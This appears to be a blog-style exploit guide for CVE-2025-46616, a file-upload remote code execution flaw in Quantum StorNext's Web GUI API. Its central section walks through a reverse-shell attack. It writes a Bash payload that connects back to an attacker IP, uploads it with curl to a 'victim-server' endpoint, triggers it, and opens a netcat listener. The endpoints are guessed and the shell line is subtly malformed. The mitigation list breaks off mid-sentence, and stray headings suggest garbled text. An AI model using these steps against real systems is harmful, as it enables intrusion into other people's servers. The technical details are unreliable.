CVE-2025-46616 - Remote Code Execution in Quantum StorNext Web GUI API (Pre-7.2.4) — File Upload Exploit Guide

A newly identified vulnerability, CVE-2025-46616, puts users of Quantum StorNext’s Web GUI API (prior to 7.2.4) at risk of remote code execution (RCE). Attackers can upload malicious files to gain unauthorized control of affected servers. This flaw impacts StorNext RYO (before 7.2.4), StorNext Xcellis Workflow Director (before 7.2.4), and also Quantum’s ActiveScale Cold Storage appliances.

In this guide, we’ll explain *how* this bug can be exploited, show a working attack example, and outline how to stay protected.

Quantum ActiveScale Cold Storage

The Web GUI API is the main way admins interact with the management portal. In vulnerable versions, attackers aren’t properly restricted from uploading arbitrary files — opening the door to malicious code execution.

*References:*

- Quantum Security Updates
- NVD entry for CVE-2025-46616
- Quantum StorNext Documentation

How The Exploit Works

In simple language: The affected API endpoint allows file uploads, but doesn’t properly check file types or sanitize file paths. An attacker can upload a dangerous script (like a Python, PHP, or shell file) to a location that the web server or its backend will later execute.

Here’s the high-level attack chain

1. Discover: The attacker uses a tool (like Burp Suite or curl) to find the file upload endpoint — /api/upload or /webgui/upload.
2. Upload: The attacker crafts a malicious file (like a shell script with a web shell or system command).
3. Trigger: The attacker finds a way to make the server execute the uploaded script, gaining remote code execution privileges.

Example Exploit: Step-by-Step

Disclaimer: *This is for educational and defensive purposes only! Never attack systems you do not own or have explicit written permission to test.*

Let’s create a simple Bash reverse shell (you can use any language). Save as evil.sh

#!/bin/bash
bash -i >& /dev/tcp/YOUR-IP/4444 >&1

Replace YOUR-IP with your attacker machine’s IP.

You can use curl to upload the malicious file

curl -k -X POST \
  -F "file=@evil.sh" \
  https://victim-server/api/upload

If you know where the file is stored (for example, /var/www/html/uploads/evil.sh), try to call it

curl https://victim-server/uploads/evil.sh

In practice, some systems might automatically execute scripts on upload, or a separate action may be required (like a reload or visiting a special URL).

On your attacker machine, start a listener before triggering the payload

nc -nlvp 4444

If the exploit works, you should get a shell as the web server user.

The vulnerability happens because the API does not restrict

- File type (accepts scripts, not just images/docs)

Update to StorNext 7.2.4 or later.

(Download updates from Quantum)

References

- Quantum Security Bulletins
- Official NVD Report: CVE-2025-46616
- StorNext Release Notes

Summary

CVE-2025-46616 is a serious bug that lets attackers upload and run malicious scripts on several Quantum StorNext products. All users should update as soon as possible, audit past uploads, and restrict API access to trusted environments.

Stay safe — and always keep your critical infrastructure patched!

Timeline

Published on: 04/25/2025 07:15:48 UTC
Last modified on: 04/29/2025 13:52:28 UTC